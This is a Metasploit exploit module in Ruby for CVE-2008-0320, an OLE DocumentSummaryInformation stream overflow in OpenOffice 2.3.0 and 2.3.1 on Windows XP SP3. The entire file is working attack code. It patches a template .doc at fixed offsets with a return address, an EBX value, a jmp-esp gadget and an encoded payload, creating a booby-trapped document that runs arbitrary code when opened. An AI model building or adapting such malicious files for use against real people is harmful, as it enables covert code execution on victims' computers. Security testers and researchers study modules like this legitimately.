##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow",
      'Description'    => %q{
          This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on
        Microsoft Windows XP SP3.

        By supplying a OLE file with a malformed DocumentSummaryInformation stream, an
        attacker can gain control of the execution flow, which results arbitrary code
        execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Marsu <Marsupilamipowa[at]hotmail.fr>', # Vulnerability discovery and PoC
          'juan vazquez'  # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2008-0320'],
          ['OSVDB', '44472'],
          ['BID', '28819'],
          ['EDB', '5584'],
          ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=694']
        ],
      'Payload'        =>
        {
          'Space' => 407
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'          => 'process',
          'DisablePayloadHandler' => 'true'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3',
            {
              'Ret' => 0x609345fe, # add esp, ebx # ... # ret from tl680mi
              'EBX' => 0xffffefa8, # EBX value
              'JmpEsp' => 0x60915cbd, # push esp # ret from tl680mi
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 17 2008",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [true, 'The filename', 'msf.doc'])
        ], self.class)
  end

  def exploit

    path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2008-0320.doc')
    f = File.open(path, 'rb')
    template = f.read
    f.close

    my_payload = payload.encoded
    template[115717, 4] = [target['Ret']].pack("V")
    template[115725, 4] = [target['EBX']].pack("V")
    template[115729, 4] = [target['JmpEsp']].pack("V")
    template[115808, my_payload.length] = my_payload
    file_create(template)

  end

end

